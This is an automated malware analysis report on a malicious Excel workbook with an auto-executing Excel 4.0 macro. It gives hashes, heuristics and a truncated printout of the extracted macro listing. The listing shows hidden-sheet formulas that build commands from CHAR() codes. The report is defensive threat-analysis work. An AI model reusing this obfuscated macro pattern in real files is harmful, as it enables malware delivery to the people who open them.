Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3dc042be7adcd925…

MALICIOUS

Office (OLE)

222.0 KB Created: 2020-04-07 08:55:27 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 3395273aa527e1f91abb3de829bcf858 SHA-1: 8b3232e60ed1b52f707e4d63781754a16c759dae SHA-256: 3dc042be7adcd92544d1a2010f361a72b1eda4237f7c4ac434ce02170182a51a
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open macro, which is a critical finding. This macro is configured to use dangerous formula APIs, including the RUN function, indicating an intent to execute arbitrary code. The macro likely functions as a downloader for a second-stage payload, although no specific URLs or executable files were directly extracted from this sample.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.microsoft.com/photo/1.0/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 42532 bytes
SHA-256: 640c57265b0f3ad8b05e67ad4711fc27ff3fa76115c2b714f9a5a5b3dfa1891a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  isckvtO08
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!Q1 
' 0018     18 LABEL : Cell Value, String Constant - y2v len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  isckvtO08,D1,CHAR(61),""
'  isckvtO08,M1,CHAR(61),""
'  isckvtO08,O1,CHAR(61),""
'  isckvtO08,Q1,"FORMULA(A4&A5&A6&A8&A9&A10&A11&A12&A13&A15&A16&A17&A19&A20&A21&A22&A24&A25&A26&A27&A29&A30&A31&A33&A34&A35&A36&A38&A39&A40&A41&A43&A44&A45&A47,R1)",""
'  isckvtO08,D2,CHAR(67),""
'  isckvtO08,M2,CHAR(73),""
'  isckvtO08,O2,CHAR(67),""
'  isckvtO08,Q2,"FORMULA(B22&B24&B25&B26&B27&B29&B30&B31&B33&B34&B35&B36&B38&B39&B40&B41&B43&B44&B45&B47&B48&B49&B50&B52&B53&B54&B55&B56&B58&B59&B60&B61&B63&B64&B65,R2)",""
'  isckvtO08,D3,[],""
'  isckvtO08,M3,[],""
'  isckvtO08,O3,[],""
'  isckvtO08,A4,CHAR(61),""
'  isckvtO08,D4,CHAR(65),""
'  isckvtO08,L4,CHAR(61),""
'  isckvtO08,M4,CHAR(70),""
'  isckvtO08,O4,CHAR(65),""
'  isckvtO08,Q4,"FORMULA(C87&C88&C89&C90&C91&C93&C94&C95&C96&C97&C99&C100&C101&C102&C103&C104&C105&C107&C108&C109&C110&C112&C113&C114&C115&C116&C118&C119&C120&C121&C122&C124&C125&C126&C127&C128&C130&C131&C132&C133&C135&C136&C137&C139&C140&C141&C142&C144&C145&C146&C148&C149&C150&C151&C153&C154&C155&C156&C158&C159&C160&C161&C162,R4)",""
'  isckvtO08,A5,CHAR(73),""
'  isckvtO08,D5,CHAR(76),""
'  isckvtO08,L5,CHAR(67),""
'  isckvtO08,M5,CHAR(40),""
'  isckvtO08,O5,CHAR(76),""
'  isckvtO08,Q5,"FORMULA(D1&D2&D4&D5&D6&D8&D9&D10&D11&D12&D13&D15&D16&D17&D19&D20&D21&D22&D24&D25&D26&D27&D29&D30&D31&D33&D34&D35&D36&D38&D39&D40&D41&D43&D44&D45&D47&D48&D49&D50&D52&D53&D54&D55&D56&D58&D59&D60&D61&D63&D64&D65&D66&D67&D69&D70&D71&D72&D74&D75&D76&D77&D78&D80&D81&D82&D83&D84&D86&D87&D88&D89&D90&D91&D93&D94&D95&D96&D97&D99&D100&D101&D102&D103&D104&D105&D107&D108&D109&D110&D112&D113&D114&D115&D116&D118&D119&D120&D121&D122&D124&D125&D126&D127&D128&D130&D131&D132&D133&D135&D136&D137&D139&D140&D141&D142&D144&D145&D146&D148&D149&D150&D151&D153&D154&D155&D156&D158&D159&D160&D161&D162&D163&D164&D166&D167&D168&D169&D170&D171&D172&D173&D174&D175&D176&D177&D178&D179&D180&D181&D182&D183&D184&D185&D186&D187&D188&D189&D190&D191&D192&D193&D194&D195&D196&D197&D198&D199&D200&D201&D202&D203&D204&D205&D206&D207&D208&D209&D210&D211&D212&D213&D214&D215&D216&D217,R5)",""
'  isckvtO08,A6,CHAR(70),""
'  isckvtO08,D6,CHAR(76),""
'  isckvtO08,L6,CHAR(65),""
'  isckvtO08,M6,CHAR(82),""
'  isckvtO08,O6,CHAR(76),""
'  isckvtO08,Q6,"FORMULA(E22&E24&E25&E26&E27&E29&E30&E31&E33&E34&E35&E36&E38&E39&E40&E41&E43&E44&E45&E47&E48&E49&E50,R6)",""
'  isckvtO08,A7,[],""
'  isckvtO08,B7,[],""
'  isckvtO08,C7,[],""
'  isckvtO08,D7,[],""
'  isckvtO08,L7,[],""
'  isckvtO08,M7,[],""
'  isckvtO08,N7,[],""
'  isckvtO08,O7,[],""
'  isckvtO08,A8,CHAR(40),""
'  isckvtO08,D8,CHAR(40),""
'  isckvtO08,G8,CHAR(61),""
'  isckvtO08,L8,CHAR(76),""
'  isckvtO08,M8,CHAR(91),""
'  isckvtO08,O8,CHAR(40),""
'  isckvtO08,Q8,"FORMULA(F12&F13&F15&F16&F17&F19&F20&F21&F22&F24&F25&F26&F27&F29&F30&F31&F33&F34&F35&F36&F38&F39&F40&F41&F43&F44&F45&F47&F48&F49&F50,R8)",""
'  isckvtO08,A9,CHAR(71),""
'  isckvtO08,D9,CHAR(34),""
'  isckvtO08,G9,CHAR(70),""
'  isckvtO08,J9,CHAR(61),""
'  isckvtO08,L9,CHAR(76),""
'  isckvtO08,M9,CHAR(45),""
'  isckvtO08,O9,CHAR(34),""
'  isckvtO08,Q9,"FORMULA(G8&G9&G10&G11&G12&G13&G15&G16&G17&G19&G20&G21&G22&G24&G25&G26&G27&G29,R9)",""
'  isckvtO08,A10,CHAR(69),""
'  isckvtO08,D10,CHAR(83),""
'  isckvtO08,G10,CHAR(80),""
'  isckvtO08,J10,CHAR(70),""
'  isckv
... (truncated)